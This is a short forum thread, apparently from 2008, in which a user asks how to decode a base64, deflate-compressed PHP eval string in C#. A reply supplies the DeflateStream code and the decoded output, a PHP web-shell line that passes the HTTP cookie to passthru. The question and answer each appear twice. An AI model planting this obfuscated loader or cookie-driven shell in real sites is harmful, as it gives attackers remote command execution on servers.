Help decoding base_64+GZipped string.
-
Well, the string comes from php code:
eval(gzinflate(base64_decode('s7ezsS/IKFCodihILC4uySgq1UhPLUnNK9NQ8ggJCYh39vf39nRV0tS0rlWwB6oFAA==')));
But i want to decode it using c#... so i have to decode the string: s7ezsS/IKFCodihILC4uySgq1UhPLUnNK9NQ8ggJCYh39vf39nRV0tS0rlWwB6oFAA== It´s encoded with base64, decoding it is easy, the problem is that i tryed some codes that i find in google to decompress but no luck. To be honest i have no idea about how can i solve it... perhaps someone can help me. I know that the result of decode that string should be something like:
{@passthru(getenv("HTTP_COOKIE"));}
Thanks in advancce.
-
Well, the string comes from php code:
eval(gzinflate(base64_decode('s7ezsS/IKFCodihILC4uySgq1UhPLUnNK9NQ8ggJCYh39vf39nRV0tS0rlWwB6oFAA==')));
But i want to decode it using c#... so i have to decode the string: s7ezsS/IKFCodihILC4uySgq1UhPLUnNK9NQ8ggJCYh39vf39nRV0tS0rlWwB6oFAA== It´s encoded with base64, decoding it is easy, the problem is that i tryed some codes that i find in google to decompress but no luck. To be honest i have no idea about how can i solve it... perhaps someone can help me. I know that the result of decode that string should be something like:
{@passthru(getenv("HTTP_COOKIE"));}
Thanks in advancce.
The code is not GZipped, it's Deflated. The decoded string is: "?><?php {@passthru(getenv("HTTP_COOKIE"));} ?><?" Code:
string result;
using (StreamReader reader = new StreamReader(new DeflateStream(new MemoryStream(Convert.FromBase64String(code)), CompressionMode.Decompress, true))) {
result = reader.ReadToEnd();
}Despite everything, the person most likely to be fooling you next is yourself.
modified on Friday, December 5, 2008 8:19 PM
-
The code is not GZipped, it's Deflated. The decoded string is: "?><?php {@passthru(getenv("HTTP_COOKIE"));} ?><?" Code:
string result;
using (StreamReader reader = new StreamReader(new DeflateStream(new MemoryStream(Convert.FromBase64String(code)), CompressionMode.Decompress, true))) {
result = reader.ReadToEnd();
}Despite everything, the person most likely to be fooling you next is yourself.
modified on Friday, December 5, 2008 8:19 PM